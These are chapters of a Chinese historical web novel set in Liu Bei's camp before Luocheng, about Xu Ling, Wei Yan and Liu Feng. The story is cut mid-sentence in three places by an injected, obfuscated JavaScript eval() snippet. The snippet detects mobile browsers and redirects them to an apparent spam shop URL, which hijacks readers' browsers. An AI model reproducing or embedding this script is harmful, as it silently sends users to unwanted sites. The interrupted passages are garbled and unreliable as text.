走出中军帐,日上三竿,秋阳杲杲,早已没有了傅肜和徐绫的身影。魏延纵目远眺,营帐在一望无际的平陆上铺开。炊烟袅袅,已经到了准备昼食的时候。他知道徐绫就在其中某一顶小帐当中,很安全。他无需操心,也轮不到他惦念。 魏延走到马厩,去把那匹已经吃饱喝足的小红马牵回给刘封。缰绳握在手里,他一边朝营门走去,一边轻轻拨弄了一下马儿的耳朵,感受着短而细密的温热绒毛在指间绕来绕去,迟疑着开口: “你说……她还会记得你么?” 小红马打了个响鼻,没有回答。 马儿当然不会回答,魏延问的也不是马。 诚如他所料,徐绫此时很安全,她跟随傅肜左转右转,最后进入一间小帐。这里生活用品摆放完整,显然并非第一次作为接待之处。帐中已经有两位壮士叉手而立,徐绫那个装有大氅和褐衣的包裹也已经被送了进来。 “段集、赞卡,这两位各带一队,轮班看顾徐小郎君。虽说平日军务繁重,但你有事尽管寻他们就好。短缺什么,或是有书信要呈递传送,都可以提。不过书信的话,要审查之后等驿使到来才能传递,需时日久。若要加急,则需请军师示下。” 傅肜神情冷峻,但语气和善。徐绫向两位壮士颔首致意,段集身材强壮,赞卡则高鼻深颧,像是异族人。 “某系五溪族人。” 注意到徐绫的目光在自己身上停留得久了一些,赞卡主动开口解释道。虽然是五溪蛮,他的汉话却十分流利,甚至还带有荆襄口音。徐绫有些不好意思,赞卡对他人的这种打量习以为常,倒很是泰然,反而对她笑了笑。 傅肜又开始交待几时用餐、几时有热水。他安排得很熟练,毕竟,徐绫也不是第一位交给他看顾的客将了。吴懿、李严、费观,这些益州降将,他都接待过。这些人少则几个时辰、多则数日,都被客客气气地请出去依旧领兵做官。走个流程而已,彼此方便。 “伯鱼!我在马厩里看到赤云了,你知道是谁骑过来的吗?” 傅肜话音未落,帐帷忽的一下被掀开,闯进来一位神采飞扬的青年将官,年纪和刘封相仿,但没那么沉毅。脸上有一道旧疤,连着唇角,像是个歪扭的笑。 “文进,休得无礼,这位是徐绫徐郎君。” 傅肜递去一个警告的眼神,青年立刻收敛了有些欢脱的表情,讪讪地眨眨眼,朝徐绫抱了抱拳,话里话外,难掩羡慕之情: “我是义阳张南。刚才在马厩里看到了长公子那匹赤云,可是徐郎君骑过来的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486427|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 能被傅肜亲自接待的,自然都是座上宾。魏延和刘封不可能同时离开先锋营,那只有可能是眼前这位小郎君骑来的了。 “长公子对赤云可是宝贝得很。徐郎君,驾驭赤云感觉如何?它是不是很好骑,鬃毛抓起来是不是像织锦那样柔韧?” “当时是蒙眼缓行,没什么特殊感觉。” 徐绫实话实说,张南“啊”了一声,很是为她的暴殄天物而惋惜。但转念之间,又一脸期待地想问些别的,结果还没等连成句子,傅肜就对徐绫说了句“见笑”,扯着衣袖把他往外拽,张南也不恼,只是边走还不忘回头喊道: “徐郎君!下次再骑赤云的时候记得跟我讲啊!” 傅肜又低喝了什么,张南才终于闭嘴,但转瞬又开始兴高采烈地说: “伯鱼,我调去先锋营,阿母就可以提前收到我的信了!这次我要跟她说……” 张南的声音逐渐远去,段集和赞卡也退出了小帐。徐绫扯开包袱,将墨绿绒氅包裹在身上,慢慢盘膝而坐,从锦囊里拿出了刘封给她准备的梅干。咬了一口,很酸。但她面无表情地嚼着,圆润的鹿眼里满是无尽的疲惫与迷茫。 刚逃出夏侯府时,她只想着要去找伯父。 拿到手书和玉环之后,她只想着要去找诸葛亮。 虽然期间历经挫折,但总有一个无比明确的箭靶杵在那里,她只需要想方设法,让那支箭正中靶心。 可现在不一样,前方布满迷雾,她找不到箭靶了。 如果被送去葭萌城,那么依靠刘封的书信,虽不敢说一生无忧,但几年安稳日子还是可以保证的。 可这里不是葭萌城,是雒城前线。 从先锋营到中军营,又从中军大帐到这顶小帐,她一路看得清楚:刘备大军阵列齐整,营中秩序井然。这顶小帐附近的区域,外紧内宽,既给客将奉满了礼数,也足够森严。傅肜也好,段集和赞卡也好,都颇为可靠。 夏侯渊再想找什么死士追杀,应该是进不来的。 同时也意味着,没了嗣音剑的她,依靠赤手空拳,也不可能逃得出去。 这里很安全。 但仅仅是安全,还远远不够。 徐绫扯了扯身上的衣衫,她确实喜欢一切青色。但正如刘封所言,比起褐衣,月白更能衬得她孤苦伶仃、惹人垂怜,而刘备仁德之主的名声在外,这才是她昨晚执意不肯换衣的真正原因。虽然听徐庶讲过许多为刘备效力时的往事,可那些毕竟只是一个切面、一段剪影。真正见过以后,她还是发现自己很难看透刘备。 他对徐庶的思念深挚,并且爱屋及乌到了自己身上。对自己好像也有些欣赏,但对她的期待究竟是什么呢?一个长相酷肖徐庶、能让他时时想起故人的摆设?一个剑术还不错的少年?还是其他什么以徐绫如今的眼界还想象不出来的东西? 她只能被动地等待刘备的下一个指令,而她甚至不知道该如何影响刘备,让他能做出有利于自己的决定。 徐绫讨厌这种前途命运都只能系于虚无缥缈之中的境地。 徐庶教过她:善战者,致人而不致于人。 她不是徐庶,也不想被当成徐庶的替身,她必须以徐绫的身份被记住、被正视。 11. 一一 临渊羡鱼 魏延带着张南及其麾下数百名精兵回到先锋营,天色已近黄昏。向刘封回报时,他正在帐中独自享用飱食。刘封的配给比寻常兵卒士官更为丰富精细,除了碗里是与大家一样的粟米饭,面前矮几上还有一盘炙鹿肉、一碟葵菜、一盂豆羹和一杯蜜水。 “文长,且来与我同食!” 看到魏延进来,刘封放下匙筯起身相迎,旋即注意到张南,眼中划过一丝讶异: “文进也来了?” 魏延出示了刘备关于张南率部调入先锋营的手令,刘封一字一句看着,表情幽深莫测。但在收到他转呈而来的刘备赏赐时,双眼顿时明亮起来:那是一张用料扎实的弓,铁胎为脊、桑柘为身。更令刘封爱不释手的,是一枚精巧的龟钮金印,篆刻着四个小字:副军之印。 “文长胆略过人,文进在伯鱼身边多年,亦是勇武雄赳。我年资尚浅,先锋营诸事,还要劳二位多费心。” 刘封和煦一笑,拱了拱手。张南看他心情不错,赶紧抓住机会问能不能去骑一圈赤云。虽然馋涎许久,从中军营来这一路,也只是牵着缰绳目不转睛地盯着,没敢偷偷骑上去。虽然心情确实很好,刘封还是稍显犹豫。赤云是他亲手养大的坐骑,即使偶尔外借,也只给过徐绫这样出身的新朋旧友。张南耷拉着脑袋,唇边那道旧疤往下撇了撇,对即将到来的拒绝并不意外,只是难免失落。 “小事而已,文进何必如此恳求,随意取用便是。” 听见刘封温润的声音响起,张南有片刻的恍惚,下意识朝魏延望了一眼寻求确认。魏延微微偏头,示意他见好就收,赶紧去马厩,免得人家改变主意。张南咧开嘴,连到唇角的旧疤让这个笑容被扩展到更深,一阵风似的离开了营帐。魏延抱拳行礼,想跟过去顺便清点一下辎重,却被刘封叫住: “阿绫几时启程前往葭萌城?我去送送她。” 阿绫。 这个称呼钻入耳中,魏延垂眼遮住了瞬间黯淡的眸光,稍稍清嗓,将刘备的安排简要转述出来。讲到负责看顾之人是傅肜,刘封挑了挑眉,沉默少顷,若有所思问道: “父亲可问起过她身上那件月白衣袍?” 魏延瞥他一眼,点点头,将当时情形详细描述了一遍。刘封脸上浮现出短暂的讶异,又徐徐化作意味深长的笑,龟钮金印在他修长白皙的手指间翻来覆去: “阿绫真好啊。” 魏延盯着他,许多纷杂无章的心绪碎片瞬间因为刘封这句感叹而变得通彻。徐绫为什么要在觐见刘备时故意衣衫不整、让他注意到身上的衣袍,为什么要那般刻意地强调徐庶与刘封的师生旧谊,刘封为什么会神清气爽到竟然恩准张南去骑那匹小红马。 副军,一军之副,一人之下。 仅凭这两个字,虽不能让刘封就此接管先锋营,却给予了他未来统领更多的期许。先锋营直撄敌阵,断不可将帅异心。但如何对没有直接隶属关系的将官施加影响,本也是统帅的必修之业。 刘禅和刘永出生以后,大家对刘封的称谓悄然从公子变为长公子。这一点微妙差别,其实让刘封有些尴尬。徐绫那番话,恰到好处地在刘备面前为他增添了一圈仁厚重情的光环。刘禅和刘永固然是亲子,却只有五六岁。乱世之中,甚至都很难保证他们能否健康成年。 那枚龟钮金印如此精巧,军营工匠决计打造不出,定然早已备好,只不过选择在此刻交给刘封。徐绫的三言两语或许无法左右什么,但足以成为推动刘备做出最终决定的一份小小助力。 “徐子衿对左将军讲的那些话,是长公子所教?” “只对她说过,若能在父亲面前稍提一句我对元直先生的感念,权当报答了赠衣之恩。”刘封浅抿一口蜜水,轻轻笑了笑,“其实当时不过开句玩笑,谁知阿绫竟这般用心。” 魏延脑海里忽然涌入了更多碎片:徐绫伏在案几上累极熟睡的身影,被自己用布条缠住眼睛时那一声低呜,以及中军帐外一触即散的对视。这两天对她而言是多么漫长而煎熬,中军大帐的气氛又是多么凝重威赫,刘封显然也并未抱有什么期待,她完全可以将这个玩笑般的嘱托直接抛之脑后。但徐绫没有,甚至去中军营的那一路都在琢磨该如何让话题出现得自然而然、不露痕迹。尽管已经无从知晓,若刘备未曾垂询,徐绫会不会主动挑起。但魏延觉得答案显而易见:一定会的。 他碰了碰自己的手背,那里仿佛还残留着淅淅沥沥落雨般的敲击触感。 呵,徐绫都敢在中军大帐搞这种把戏,世间哪还有什么是她不敢做的。 不过,她希望得到怎样的回报呢?肯定不止一句阿绫真好。 或许……嫁给刘封? 魏延拧紧眉头,仅仅是想到这种可能,就让他浑身不舒服。强烈的抗拒感从心底油然而生,仿佛海浪永不间断地拍打着礁石,直到碎裂成白沫。刘封哪里值得如此大费周章,他甚至都未曾看清徐绫真正的模样。 “文长还有事?” 留意到魏延眼中一团鼎水之沸,刘封试探着问了一句。魏延长吁一口气,甩掉那些乱糟糟的念头,开始跟他交割军务。冯武和五斗米道的勾连必须尽快处理,但张南初涉前线、威望不足,若雒城守军前来袭扰粮道或田亩,该怎样应对,才能既不让对方觉得是在故意引诱其派遣主力、也不让他们觉得此处无机可乘,其间关窍还是讲给刘封更为妥当。 刘封有一搭没一搭地应着,目光始终没有离开手中金印。魏延一走,他便挪到离烛火更近的地方,细细端详起来。 知恩图报这四个字,何其知易行难。 他想起徐绫几次郑重承诺,忽然萌生出真挚深刻的懊悔:怎么能把那件露出内衬经线的墨绿绒氅送给她呢?太不够礼贤下士了。 于是,肉干、果脯、蜜糖、茱萸等等精致吃食被源源不断送入徐绫那顶小帐,随之而来的还有一件没有露出内衬经线的玄色狐裘大氅。 徐绫把锦囊里的最后一枚梅干拈在手里慢慢嚼着,心不在焉地看着赞卡指挥属下进进出出搬东运西。 日升月落,她记不清在这间小帐住了多久,或许才一两日,也可能已经许多天。 傅肜提供的食物虽称不上玉馔珍馐,但比风餐露宿时丰盛许多,她甚至感觉身型都变圆润了,哪里还需要什么吃食呢? 刘备没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486428|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再召见她,这让她陷入了从未有过的漫长迷茫之中。既看不清前路,又两手空空。比起考虑吃点什么,她更想知道自己还能做点什么。 一阵窸窸窣窣的喧嚣由远及近传来,徐绫转头望去,原来是一位青年将官款步而来,走到哪里,哪里就会响起一片热情的招呼声。修长劲瘦的身躯萦绕在朝食前的炊烟里,如画中仙、谷中兰。 离得近了,徐绫注意到,青年约有二十六七岁,虽然是一身靛青色郎君装束、腰悬佩剑,但脸颊柔润,身前有明显的起伏轮廓,也并未对喉间平滑做任何遮掩。颔首回礼时仪态优美,又隐隐散发出凛然不可侵的威势。徐绫观望了一圈大家投去的目光,亲近却不狎昵。 离得更近时,她发现青年的皮肤因为经年累月的风吹日晒而显得有些粗糙,虽然容貌英秀,但那一路上收获的敬慕显然不是得益于此。 “赞卡,实在对不起,近来军务繁重,没来得及去你家中询问口信,下次一定补上。” 青年走到赞卡面前,语气歉疚。赞卡摇了摇头,拱手行礼: “霍校尉言重了,一直劳烦您,某已是心中难安,怎会反而有怪罪之意?” 青年的视线转向徐绫,微微一怔,悄然挑了挑眉梢,唇边缓缓漾开一抹笑意: “我是军谋校尉霍峤,小郎君如何称呼?” “颍川徐绫。” 话音未落,蓦地一阵风吹过,徐绫没有束紧的发髻晃了晃,逸出一缕长发倏然飘起。霍峤伸出手,指节弯曲,轻巧地帮她勾到耳后: “我从葭萌城而来,专司书信传递。徐小郎君如有需要,来寻我就是。” 霍峤与徐绫互相抱拳一礼,转身离开。望着她逐渐隐没在霞光和炊烟里的背影,徐绫问道: “赞卡,霍校尉为何要单独找你?” “说来惭愧,我家人不擅汉话,营中没有五溪蛮语译使,书信无法审查。若写汉字,他们找人通译也很麻烦。霍校尉得知以后,但凡有空,每次往来之前,就会找我家人单独询问有无口信。” 徐绫把那缕散逸出来的长发一圈一圈缠绕在指间,又一圈一圈慢慢松开,继续问道: “既然书信艰难,那图画呢?” “军机图画岂可泄露,那可是罪同谋逆。” 见赞卡神情如此严肃,徐绫不禁哑然失笑,摇了摇头: “自然不是什么军机秘闻,而是你的画像。” 她凑近几步望向赞卡,圆亮的鹿眼里闪烁着已然跨越千山万水的愿景明光。 “霍校尉无暇他顾之时,如若你的家人从画中知晓你康健无恙,想来也能聊慰一二。” 赞卡恍然大悟,微微张嘴,几乎要展开一个惊喜的笑,可随即又收敛起来: “徐郎君指的,可是那些贵人们府上的工笔人像?某倒是见过,却画不出。” 徐绫欣欣然挺直了腰板,眼角眉梢都挂上跃跃欲试的勃勃生机,然后在赞卡讶异的注视下,指了指自己。 她最擅长的就是工笔人像,而且成画迅速、质量稳定,不仅可以描摹实景,还能依照描述凭想象绘制,甚至作为议婚之用也并无不可。 12. 一二 退而结网 赞卡转过去又转回来,整整两圈,但徐绫仍然没有落笔,歪着脑袋,目光如同放空一般虚虚地落在他身上,不知道在琢磨什么。赞卡习惯于他人瞩目,倒并未觉得不自在,微微一笑正待开口,却见徐绫将毫尖蘸饱墨汁,终于开始作画。两人相隔数步,一坐一立,赞卡起初只是漫不经心地扫几眼,可随着徐绫笔走龙蛇,画面逐渐成型,他已不知什么时候凑得很近,视线不再游弋,而是定然凝在画布上,眼睛一点一点睁大,眸中光明洞彻。 “好了,你看看。” 徐绫把画布转向赞卡,赞卡静静看着,许久没有言语。 自离开邺城前往长安成婚至今,徐绫颠沛流离,已经搁笔一年有余。一日暴之、十日寒之,未有能生者也。此刻观察着赞卡的怔忡模样,她不禁心下惴惴,拿不准自己的技艺究竟退步到了何种程度。 “徐郎君妙笔如神。” 赞卡终于回神,双目灼灼望向徐绫。他捧着画布仔细端详,复又抬眼,小心翼翼问道: “可否再画一幅侧身小像?我如今比离家时强壮许多,内子见了,必然欢喜。” 徐绫神情一松,唇角极轻地动了动,扬起清浅的弧度,笑意澄明秀澈,如疏月出云。不多时,赞卡的侧身小像、面容特写、甚至还有一幅持剑立绘,纷纷跃然纸上。赞卡看看这个瞧瞧那个,喜滋滋地连说了好几句徐绫听不懂的蛮语,然后转为汉话问道: “徐郎君如此用心,某感荷殊深,不知当以何为谢?” 他环顾四周,刘封送来许多精致之物,徐绫显然什么都不缺,他也拿不出更好的东西了。但徐绫只是抬眼笑望着他: “绘艺之于我,犹如刀剑弓弩之于壮士。若能唤来更多袍泽让我每日动笔,就最好了。” 赞卡有些迟疑,他自己的事情可以爽快答应,但身处中军营,又是刘备亲军近卫,这种拉帮结伙的事情就不得不谨慎处理了。看出他的为难,徐绫很是体贴地退让了一步: “绫失言。壮士自然要听从傅将军命令,不知能否试为将军言之?” 只要赞卡肯帮忙去向傅肜进言,傅肜一定会上报给庞统。投石问路,徐绫正是要借此机会,试探出庞统乃至刘备对自己的态度。 至于作画,自然也并非随口一说。军中识字之人不多,兵卒家书从写到寄,进程非常缓慢。工匠营有匠人专职旗帜绣画,如今大军已经在此相持数月,旗帜非日用之急,器械修缮也无需画师亲为,敲定式样之后由民夫动手即可。如果可以一起以画代书,既是人尽其才,或多或少可以对先锋营以外的士气加以抚慰。 这样的思路纵然并无新意,甚至有些想当然的稚气。然而,见兔而顾犬,未为晚也,毕竟徐绫现在也只能看得见兔子啊! 赞卡这次答应得很干脆,徐绫甚至都没想到,供不应求的程度会远超想象。就连起初不以为意的傅肜,没过两天都改了主意,索求了一张画像说要寄给留居葭萌城的儿子阿佥,以免分离时久,忘了父亲。 帐帷被掀开,原本封闭的气息随之流动起来,脚步声由远及近,携着簌簌风声和一缕似有若无的香气。徐绫埋头作画,说道: “今日实在做不得了,明日再约吧。” 噗嗤。 一声轻笑传来,徐绫抬头,是霍峤站在面前,环抱双臂,莞然望向她: “子衿是大忙人呢!” 徐绫急忙起身,霍峤示意她不必多礼,自顾自坐了下来,随意翻看着桌案上已经完成的画作: “其实我之前也提过,能否借调工匠营来帮忙作画。不过当时倒没考虑替代家书,只是觉得抚恤核实更加方便。可惜工匠营总说要绣军旗、修器械,匀不出来人手。” 霍峤为自己斟满了一碗酪浆,慢慢浮现出一丝克制而从容的笑意: “他们宁可让那些人充作力工,也不愿暂借给我。如今调令已下,终于由不得他们了。” 徐绫记得,那天张南冒冒失失闯进来的时候曾经提过,他调去先锋营以后,娘亲就能比之前更早地收到家书。为了维持对先锋营的优待,霍峤此前甚至忙到无法替赞卡传递口信。以画代书之后,运力不足的弊病只会更加显著。但霍峤看上去志得意满,似乎并不为此困扰。 注意到徐绫的诧然,霍峤笑道: “书信更多,信使自然就该更多。此中关联,军师怎会忽略?” 原来是扩展了部属,那荣升之期指日可待,难怪心情甚好。既然如此,那她或许需要一个助手呢?徐绫心念一动,稍稍倾身试探着说道: “霍校尉若有差遣,绫定然竭尽所能。” 霍峤望着她,目光平稳而深远: “这正是我想说的。我来这里之前,曾向军师提出把你调拨给我,但他没允准。” 徐绫愕然,旋即苦笑一声: “听傅将军说,我是在这间小帐里住得时间最久的。我竟不知,自己是这样的危险人物,需要如此严格对待。” “左将军与军师什么英雄豪杰没见过,怎会觉得你危险?” 霍峤摇摇头,语气认真而平和,声音笃定,透着令人安心的力量: “以我看来,他们只是为难。既期待极深,又担心行将踏错,辜负与徐先生的旧谊。” 徐绫蹙了蹙眉,一脸的不解: “此前住在这里的,都是统领千军的一方将帅。我一介孤女,反而比他们更令人担心?” “那些人能做什么、能做成什么样子,一眼可见。但你不是。” 捕捉到徐绫轻嗤一声,霍峤浅浅笑了笑,不急不躁继续说道: “你与他们、与我,都不一样。我自幼与兄长一起久居行伍,投奔左将军时并非白衣,而是携有部曲。自无而创、与因基而起,其势不同、其难易异。你孤身来投,又是女郎,若局势明朗,或可扔去哪里历练一番。然如今战事吃紧,只好暂时搁置。若你不是这般肯花心思而是浑噩度日,估计明天就该跟我一起回葭萌城了。” 霍峤抬手,指腹在徐绫脸颊用力一抹,拭去了那里沾染的墨痕: “幸好你没有。” 徐绫只觉一阵温暖从皮肤掠过,呼吸下意识放轻。霍峤没有马上收手,而是托起徐绫下颌。四目相对,徐绫的瞳眸里,映出了一张温和却郑重的脸庞。 “子衿,我十六七岁的时候不可能在没有舆图的情况下连续翻越秦岭与米仓山。甚至我的两位兄长,应该也做不到。你已经走到了这里,切莫回头。” 米仓山群岭层叠、山势陡绝,值此深秋时节,云雾缭绕、丹黄杂陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486429|202034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连通成都与汉中之间距离最近的栈道就修筑在这里。只是道路险峻,许多路段只能贴崖而行,木梁年久失修、时断时续,魏延和随行小队虽携有舆图,仍是步履维艰。 押送着冯武的随行小队已经在背风处轮值安睡,养精蓄锐,留待明日约见冯武那位投奔了五斗米道的昔日匪友。魏延自己却并无困意,迎着猎猎秋风,俯视脚下深不见底的幽谷。汉中郡是益州北边门户,坐落于秦岭与米仓山之间,若要稳坐成都,则必然要掌控汉中,进可威胁雍凉、退可拱卫腹地。 借着月光,他从怀中取出一卷麻布,用炭笔在上面标注出一路走来看到的诸多细节。米仓道过于狭窄,大军不易通行。但若舍弃此道,则必须走金牛道强攻阳平关,那里有走马岭和白马塞以掎角之势固守,亦是艰难。 山风穿林而过,送来松脂与枯叶的土腥味道。星月清朗,洒下满地银辉。魏延纵目远眺,浮云飘散,远处蜿蜒显现出错落有致的峰峦轮廓,其中一道主峰格外醒目。 定军山。 他盘膝而坐,用炭笔在麻布的空白处打了个十字标记,又画了条浅浅的灰线,将米仓山与定军山连通。刘备确实曾叮嘱他不该孤身犯险,但他忍不住亲自来走一遭。他想亲眼看看那个曾让徐绫考虑过隐姓埋名长久住下的汉中郡,想亲身踏过那片徐绫曾在篝火旁对峙狼群的崇山峻岭。 扑棱一声,不知名的飞禽从旁边深林之中惊起,掠过树梢,发出短促的急响。魏延收起麻布,拿出之前从冯武身上搜出的绢帛画像徐徐展开,明日之后,这幅绢帛就也不会在他手里了。 十一二岁的徐绫无悲无喜地站在画中,冷淡地瞧着他。 哼,如此粗劣画作,竟还是收受了贿赂美化而成?简直丝毫没展现出徐绫的风采气韵。 他用指尖点了点画中少女的眉眼。徐绫的眉梢更细长秀美,眼睛更圆润有神。手指缓缓移动,开始描摹画中少女的面容。徐绫的脸型更加清减,耳朵上有小小的孔洞,迎着阳光,会透出浅棕的斑驳。总之就是……比画像好看很多。 他将视线移向旁边,那是半月前的那天晚上,徐绫在他面前亲笔画下的夏侯称:清贵隽秀,带着三分傲气。 魏延冷嗤一声,把绘有夏侯称画像的部分翻折到背面,只专注地端详着徐绫,呆呆出神。 她在中军营过得还好么? 刘备和庞统对她究竟如何安置? 她……还会记得我么? 忽然间,魏延眸光一凛,迅速展平绢帛,定睛去看夏侯称的画像,之后视线又落回到旁边的少女。如此反复移转,最终定格在少女脖颈间那寥寥几笔。 虽然不懂什么绘画技法,但一路走来,他将这卷帛画翻来覆去看过不知多少次。尽管容貌迥异,但这两个人像在处理颈项时,手法却如出一辙:起笔含蓄、转折纤细、收笔圆融。 面相契合?命格适配?天作之合? 呵。 原来从一开始,就是空中楼阁。 魏延笑了起来,就知道,那个短命鬼跟徐绫根本哪里都不相配。震颤从胸腔一直满溢到喉间,滚了滚,眼角眉梢都随之肆意飞扬着,唇边弧度逐渐加深,最后几乎转为开怀大笑,甬钟般低沉堂皇的声线绞缠进夜风里,飘荡在空旷的山林间似有回音。 13. 十三 知有不言 日色朦胧、天光尚未破晓,徐绫和衣仰卧在一张毛毡上。身边案几松散地摊着几卷画布,除了人像,还有一幅初具规模的宅邸绘卷,从府门到一侧内院的部分极近详实,不仅檐瓦清晰,连侍从护卫都一一画出,姿态各异、数量不同,另一侧却只用寥寥数笔勾勒出轮廓,内里遗留着大片的空白。 帐帘忽然被掀开,晨风拂灌而入,画布被吹得鼓起又落下,发出窸窣声响。沉浸在睡梦之中的徐绫眼睛还没完全睁开,身体就已经警醒坐起,青丝披散,原本用以束发的水碧玉簪,此时已经被她牢牢攥在手中。 “徐郎君,雒城军来袭,你且披上此甲。” 赞卡给她塞过来一副旧甲,皮面发暗,近身时有一股混杂着汗意和霉酵的腥酸味道扑面而来。但徐绫没有丝毫迟疑,迅速穿戴进去。赞卡半蹲着帮她系紧绳结,朝她垂落的发尾望了一眼,又看了看她手中紧握的玉簪,宽慰道: “先锋营正与敌交战,目前情况不明,未必就波及此处。若战事蔓延至此,某定会带上郎君撤离,”他从怀中取出一枚乌木簪递去,“临敌之时,披发有碍遁逃。此簪乃内子手作,感激郎君作画之恩,万勿推辞。” 见徐绫并未扭捏,单手挽了个发髻,就接过乌木簪插在其中,赞卡咧嘴笑了笑,起身大步离开。徐绫挪到帐角盘膝而坐,把玉簪尖端的细铜簪脚抵在压帐石表层,来回磨砺着。皮甲泛着朝露的潮冷紧贴在胸口,久而久之,竟闻不出有什么异味。 她就这样一直坐到东曦既上,曙色斜映进来,在帐内铺满一层淡金。朝帐外远眺,周围安静得有些肃杀,但视线所及的极远处,却遥遥可见尘烟,间或还能隐约听到喧嚣。 如赞卡所言,先锋营鏖战正盛。然而不过相隔数里,此处却宁静得仿佛割裂为另一片天地。这样绵延无垠的数万人大军,以往都只停留在徐庶的口述和书简几列文字当中。直到旬月以来,身处其间,才逐渐恍然于自己的渺小。 一个月前在中军帐会面时,刘备很明显对她的下一步安排已有想法,所以没将她送去葭萌城与军眷同住。可徐绫还是被软禁多日,甚至霍峤的请调都被拒绝,这样的困局,思来想去,只可能拜庞统所赐。但他为什么要从中作梗,又以什么理由说服刘备? 庞统还要求自己绘制夏侯府详细格局以及新婚当晚侍从护卫分布情况,莫非认为她并非遭遇追杀,反而是受人指使潜入蜀地的细作?可细作首要任务是取信于人,安顿下来才能发挥作用,像她这样讲出那般曲折离奇的故事,若不是刘备与徐庶确实旧谊深厚,恐怕早就宁可错杀了。 徐绫的目光落在案几上,她能在此作画,背后一定有刘备与庞统的默许甚至鼓励。连赞卡第一次听她提议时,都知道先确认是否会泄露军机,庞统如果对她身份有所怀疑,那时就该断然拒绝。 她的视线移向画布旁边的一支兔毫漆笔,木管纹理紧密,周身用漆艺处理过,不仅比寻常材质更加坚硬耐用,还勾描着素雅的花叶暗纹,缀以金粉,在阳光下斑斓生辉。这样的华贵好物,自然是刘封所赠。以那位长公子的灵敏嗅觉,只要有一丝感知到她嫌疑未除,绝对切割得干干净净,才不会这样有意维系。 徐绫望了望远处,风烟已寂,旭日当空,万物煦暖。看来只是雒城军的一次试探性袭扰,并未发展成大型会战。不过既然赞卡特意前来示警,说明中军营其实也做好了出战准备,至于为什么没有主动出击,或许不想暴露实力、盖以诱敌? 徐绫端量着手中这支用压帐石打磨多日的玉簪,铜簪脚迎着太阳闪烁出锐利的光芒,用指尖试着碰了碰,一颗血珠顿时从皮肤表面涌出。虽然远远比不上嗣音剑那般削铁如泥,但只要把握时机,格杀数人应该不算难事。不过大军威压之下,即便能格杀数人,也不过如雨滴坠入深海,掀不起什么风浪,生死依旧不在自己掌控之中。这样一想,不禁有些庆幸今日没被卷入战事。 徐绫起身挪回案几前,重新展开那幅未完成的夏侯府绘卷。既然庞统并非因为起疑才命她作此画,那这宅邸暗藏什么玄机? 她把出血的手指含在口中吮吸着,右手执笔蘸了墨汁,开始补充一些细节。画着画着,有什么零星的想法,开始在脑中闪现。 高墙楼阁的花纹样式明明还在眼前,却逐渐变得模糊起来,简化为高低视野和轮廓层次。逃离当晚,火把照到了哪里?自己选择的藏身阴影位于何处?当时为何下意识地避开了那段看起来防守人数并不多的狭长回廊?为何眼见那处高耸的亭台上烛灯黯淡,就放下心来? 她仿佛有了第二双眼睛,再看这幅已经绘制多日的绘卷时,忽然意识到有些地方没必要画得精细,而有些从来没画过的东西,或许才是庞统真正想看的。但那些东西具体是什么呢?她还抓不住。 这种明明近在咫尺、却失之毫厘的无力感,让徐绫有些烦躁。心中浮现出庞统那双隐藏在麈尾小扇后面的桃花眼,更恼火了。 到底有什么深意不可言说,甚至连提示都不给,就这样叫她这样担惊受怕地猜来猜去!嗣音剑也不还回来,若被卷入战事不幸亡故,他的良心不会痛吗?难怪伯父没有把自己托孤给他! 徐绫摆弄起玉簪,细铜簪脚一次又一次狠狠扎进案几,仿佛那是庞统的良心。 嘶—— 中军帐内,一记锐痛从腹胃钻入胸腔,庞统拧紧眉头低唔一声,正在汇报军情的刘封随之稍稍语停。他身穿轻甲,外罩米杏色细布袍,衣角溅有几点泥浆,左臂系一圈布条,隐隐洇出血色,一道赭红伤痕混着尘汗凝固在侧颊,平添了几许锋芒,与此前总是温和微笑的模样很是不同。 庞统摆摆手示意无事,刘备让刘封继续,自己则走到帐门吩咐看守在那里的傅肜派人送些朝食进来。 “我引军佯败,文进引军埋伏于此,”刘封扫视着平摊在案几上的雒城舆图,修长白皙的手指从一处以阴影代指的军营驻地游走到不远处用交叉记号代指的屯田位置,“敌将刘璝、雷铜率众携木柴松油而来,意欲烧毁麦苗。文进奋勇,歼敌数百人,重伤雷铜。经此一役,雒城军想必深信,屯田确为我军命脉所在,同时又并非无机可乘。” “你部署得当,又亲身断后,实堪嘉奖。” 刘备点点头,目露赞许之色。刘封腼腆一笑,拱手道: “父亲谬赞。此番调拨,实乃文长临行前嘱托,儿不过代为执行而已。” 